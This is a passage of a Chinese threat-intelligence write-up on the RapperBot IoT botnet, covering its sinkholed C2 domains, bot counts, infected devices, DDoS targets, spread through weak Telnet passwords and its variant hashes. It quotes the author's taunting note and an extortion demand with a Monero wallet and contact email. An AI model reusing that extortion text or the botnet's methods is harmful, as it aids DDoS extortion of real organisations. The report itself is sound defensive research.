Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><img data-imgfileid="100000406" alt="pastebin_netlab.png" class="rich_pages wxw-img" data-ratio="0.423841059602649" data-type="png" data-w="906" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=f7bf762b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbgPafDFOcVymk9tXXYgQBsKPfAU7yAnNoicKVx0otoTc7KQtDvMwAr0MKbsATpxSmbSaRKTnb9JZ0w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><span leaf=""><br/></span><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 16px;">图中 pastebin URL </span></span><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><br/></span></p></div><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="javascript"><p><span leaf=""><span class="code-snippet__attr">https</span>:<span class="code-snippet__comment">//pastebin.com/dfHYSqVz</span></span></p></pre></p><div><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 16px;"> </span></span></p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 16px;">使用Base64解码后的内容如下：</span></span></div><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="nginx"><p><span leaf=""><span class="code-snippet__attribute">This</span> is rapperbot, rapperbot is in its testing and development stages. Take nothing here seriously.</span></p><p><span leaf="">Brian Krebs approves of this project; <span class="code-snippet__attribute">he</span> is our number one supporter.</span></p><p><span leaf="">FUCK DOTA3.TAR.GZ (outlaw) AND FUCK xorddos for using those dumb ass low IQ root kits. (they have <span class="code-snippet__literal">no</span> idea what<span class="code-snippet__string">&#39;s to come)</span></span></p><p><span leaf="">I love Olivia Rodrigo, soon I will be rich enough to meet her.</span></p><p><span leaf="">Question, Did you guys listen to my music whilst reverse engineering my binary? (<a href="https://www.youtube.com/watch?v=4fm_ZZn5qaw)" target="_blank">https://www.youtube.com/watch?v=4fm_ZZn5qaw)</a></span></p><p><span leaf="">I can only imagine the Chinese (NETLAB360) researchers not understanding it at all and trying to decode the meaning behind it.</span></p><p><span leaf="">Anyway, 2tall out!</span></p><p><span leaf="">See you guys in the next update, I&#39;ll most likely leave another note.</span></p></pre></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 16px;">在</span></span><span data-pm-slice="0 0 []"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 16px;">近期样本中，我们注意到 RapperBot 似乎开始对受害者进行敲诈，要求缴纳“保护费”以避免 DDoS 攻击。</span></span></span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="typescript"><p><span leaf=""><span class="code-snippet__title">Donate</span> $5,<span class="code-snippet__number">000</span> <span class="code-snippet__keyword">in</span> <span class="code-snippet__variable">XMR</span> to (48SFiWgbAaFf75KsRSEEr4iDcxrevFzVmhgfb6Qudss52JK8cCR8bwmUxNBPN2VmqDTucJL3eabiZc5XRYVGkbh6BH58Ytk) to be blacklisted <span class="code-snippet__keyword">from</span> <span class="code-snippet__variable">this</span> and future botnets <span class="code-snippet__keyword">from</span> us. <span class="code-snippet__title">Contact</span>: horse<span class="code-snippet__meta">@riseup</span>.<span class="code-snippet__property">net</span> <span class="code-snippet__keyword">with</span> <span class="code-snippet__title">TxID</span> and <span class="code-snippet__variable">IP</span> <span class="code-snippet__title">Range</span>/<span class="code-snippet__variable">ASN</span>.</span></p></pre></p><p><span data-pm-slice="0 0 []"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 16px;">XL</span></span><span data-pm-slice="0 0 []"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 16px;">AB 对该家族保持长期追踪，以下将与社区分享我们的一些最新发现。</span></span></span></span></p><p><span data-pm-slice="0 0 []"><span data-pm-slice="0 0 []"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 24px;font-weight: bold;">BOT规模</span></span></span></span></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 16px;">在我们分析Rapperbot样本时发现它生成的32个C2域名有部分域名尚未被注册。我们于2024年4月3日主动注册了其中若干个尚未被使用的C2域名，通过对访问我们注册域名的僵尸主机（BOT）进行统计和分析，我们能够间接获取该Rapperbot僵尸网络的BOT规模、分布范围等信息。</span></span></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 16px;">在最近一个月的观测中，BOT IP数量峰值达到5w+，BOT活跃趋势如下：</span></span><span leaf=""><br/></span><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><img data-imgfileid="100000408" alt="sinkhole_1mon.png" class="rich_pages wxw-img" data-ratio="0.44397905759162304" data-type="png" data-w="955" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=9eefe78c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbgPafDFOcVymk9tXXYgQBsKBVibBml1QmOGTCia8OiabokM8bL32PBB59dbk6mHvymU90ZzXtprbrfyw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><h3><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 16px;font-weight: bold;">BOT分组信息：</span></span></h3><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img data-imgfileid="100000410" alt="wordart.png" class="rich_pages wxw-img" data-ratio="0.5025075225677031" data-type="png" data-w="997" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=5b414ee5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbgPafDFOcVymk9tXXYgQBsKuSU2vEd3GWYCs2FBHoK8y0ESibpUJNiaVdh449kFwqYibfV9HOw0hv36Q%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h3><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 16px;font-weight: bold;">BOT感染地区分布：</span></span></h3><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img data-imgfileid="100000409" alt="rapperbot.geo.png" class="rich_pages wxw-img" data-ratio="0.576" data-type="png" data-w="2000" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=1336cb6f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbgPafDFOcVymk9tXXYgQBsKbjSXic8lVSh8EgfSM8JxNzDIuDicF5TniciaOQuIbicsaR1beMibG10QhehA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h3><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 16px;font-weight: bold;">感染设备</span></span></h3><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 16px;">根据XLAB全球鹰测绘系统提供的数据分析，Rapperbot恶意软件目前主要感染的设备类型集中在具有公网访问能力的物联网终端，尤其是网络摄像头、家用及企业级路由器等。这些设备通常存在默认弱口令或固件漏洞，容易成为攻击者的入侵目标。根据统计，其感染的设备中排名靠前的WEB界面标题（Web Title）如下：</span></span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100000411" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.7221006564551422" data-s="300,640" data-type="png" data-w="457" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=f42f29ef&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbgPafDFOcVymk9tXXYgQBsKz3VsObfvwicOh8WichLqLJXQ5DXF1jAZHicZqetHpwcCjGk7b9JfibDn3Q%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h1 data-pm-slice="0 0 []"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 24px;font-weight: bold;">DDoS攻击目标</span></span></h1><h1 data-pm-slice="0 0 []"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><br/></span></h1><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 16px;">RapperBot的攻击目标遍布各个行业领域，包括公共管理、社会保障和社会组织、互联网平台、制造业、金融服务业等。从地域分布上看，中国地区的目标数量最多。也曾在热点时间攻击过其他重要平台。比如：春节期间攻击知名人工智能平台DeepSeek，3月中旬攻击社交媒体平台Twitter</span></span></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img data-imgfileid="100000412" alt="rapperbot.ccm.png" class="rich_pages wxw-img" data-ratio="0.5185" data-type="png" data-w="2000" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=d408a83c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbgPafDFOcVymk9tXXYgQBsKlcYGcINeLKnjEJqKJ2OHzicgOuE4ZsR6sjLxaedr2qg1tHYshXKsIAw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h1><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 24px;font-weight: bold;">样本传播</span></span></h1><h1><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><br/></span></h1><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 16px;">根据我们的数据观察，RapperBot 主要通过 Telnet 弱口令以及利用已知漏洞进行传播。目前其主要利用的漏洞包括但不限于以下几种：</span></span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100000413" data-ratio="0.8839779005524862" data-s="300,640" type="block" data-type="png" data-w="543" src="https://wechat2rss.xlab.app/img-proxy/?k=fcdde34d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbgPafDFOcVymk9tXXYgQBsK2CH1iaZ9wiaN1Jwq7kPnxGicfibtDPKgSpWAdz5cd6I0pCzQpqwYFK51Jw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 24px;font-weight: bold;">样本分析</span></span></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 16px;">经过对该家族样本追踪，我们发现开发者每隔几个月会对样本进行更新并进入活跃状态，在长达1年多的时间里我们捕获了该家族的7个变种：</span></span></p><table><thead><tr><th><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">time</span></span></p></th><th><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">sha1</span></span></p></th><th><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">ps</span></span></p></th><th><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">decrypt method</span></span></p></th><th><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">login length</span></span></p></th></tr></thead><tbody><tr><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">2023-07-21</span></span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">8a9a098dabcc09c8a770777f12c71017bb26940b</span></span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">listening tun0</span></span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">mirai字符串解密,key固定(0xDEADBEEF)</span></span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">36</span></span></p></td></tr><tr><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">2023-10-15</span></span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">d4bca8193b808dcdbdb79367ac688f6f424da36f</span></span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">listening tun0</span></span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">rapperbot自定义字符串解密</span></span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, 